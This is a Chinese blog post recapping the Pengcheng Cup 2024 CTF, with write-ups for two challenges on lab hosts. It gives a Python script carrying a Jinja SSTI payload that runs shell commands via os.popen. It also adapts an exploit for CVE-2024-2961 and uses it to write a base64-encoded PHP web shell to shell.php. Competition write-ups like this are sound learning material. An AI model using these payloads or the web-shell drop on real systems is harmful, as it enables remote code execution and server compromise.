鹏城杯2024赛后复盘

Wang1r Lv3

鹏城杯好难,累死累活一天也只写出一道(〒︿〒)

等之后仔细学习一下别人的WP,希望能学到更多有用的知识

个人WP

python口算-pcb2024

又是一道小猿搜题的题(果然哪里的CTFer都是一样对热梗毫无抵抗力)

请求/calc路由可以获取到算式信息,直接利用eval()函数就能直接计算了

发送正确的计算结果之后,就可以获取到提示,下载网页源码

分析源码,发现有SSTI注入点,不过不确定黑名单与白名单都包含什么,于是根据常规绕过来尝试

最终确定payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

headers = {
'Accept': '*/*',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Connection': 'keep-alive',
'Referer': 'http://192.168.18.28/',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0',
}

response = requests.get('http://192.168.18.28/calc', headers=headers, verify=False)
import re

# 这是请求返回的二进制数据
data = response.content

# 将二进制数据转换为字符串
expression = data.decode('utf-8')

# 使用正则表达式去除可能的空格
expression = re.sub(r'\s+', '', expression)

# 使用 eval 函数计算表达式的值
# 注意:eval 函数具有安全风险,适用于可信数据源
try:

result = eval(expression)
data = {
'username': "{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__.get('__builtins__').get('__import__')('os').popen('cat$IFS/flag').read()}}" # 你想发送的 username 值
}
response1 = requests.post(url=f"http://192.168.18.28/?answer={result}&Submit=%E6%8F%90%E4%BA%A4",data=data)
#response2=requests.get(url="http://192.168.18.28/?username=user123")
print(response1.text)
#print(response2.text)
except Exception as e:
print(f"计算出错: {e}")

读取到flag

====================================这里是分割线======================================

个人感想

其实尝试的好几道题都有思路,但都卡在某些地方无法继续,希望别人的WP能帮我解惑

(๑•́ ω •̀๑)

====================================这里是分割线======================================

WP学习与复现

fileread

这道题本来以为是一个简单的反序列化,结果发现可以利用的只有一个file_get_contents()函数,且无root权限读取不了flag。

我以为是要用到该函数的什么奇技淫巧,没想到是一个CVE(某种意义上确实也算?)

该题用到的是**CVE-2024-2961 **

先贴两篇相关文章:
原文 翻译

具体实现原理好像与溢出相关,但这是PWN的内容了,等以后有机会再复现吧
(所以还是先贴一个别人的WP吧)

下载这个:https://github.com/ambionics/cnext-exploits

把原先的函数换成这2个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
import requests
from urllib.parse import quote
import os
import sys

def get_b64(s):
# execute php 1.php
output = os.popen('php 1.php "' + s + '"').read().strip()
return output

b64 = get_b64(path)
print('[GET]', path)
print()
# print(b64)

r = requests.get('http://192.168.18.24/?ser='+quote(b64))
return r

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
from base64 import b64decode
path = f"php://filter/convert.base64-encode/resource={path}"
r = self.send(path)
text = r.text
find_text = 'Your file:'
idx = text.find(find_text) + len(find_text)
text = text[idx:]
return b64decode(text)PYTHON

新建一个1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class cls1{
var $cls;
var $arr = array('fileput');
}

class cls2{
var $filename;
var $txt = '';
}

$obj = new cls1();
$b = new cls2();
$b->filename = $argv[1];
$obj->cls = $b;
$s= serialize($obj);
echo base64_encode($s) . "\n";PHP

运行:

python3 cnext-exploit.py http://192.168.18.24/ “echo PD89YCRfUE9TVFswXWA7Pz4= | base64 -d > shell.php”

  • 标题: 鹏城杯2024赛后复盘
  • 作者: Wang1r
  • 创建于 : 2024-11-09 21:57:11
  • 更新于 : 2025-04-07 12:34:26
  • 链接: https://wang1rrr.github.io/2024/11/09/鹏城杯2024赛后复盘/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。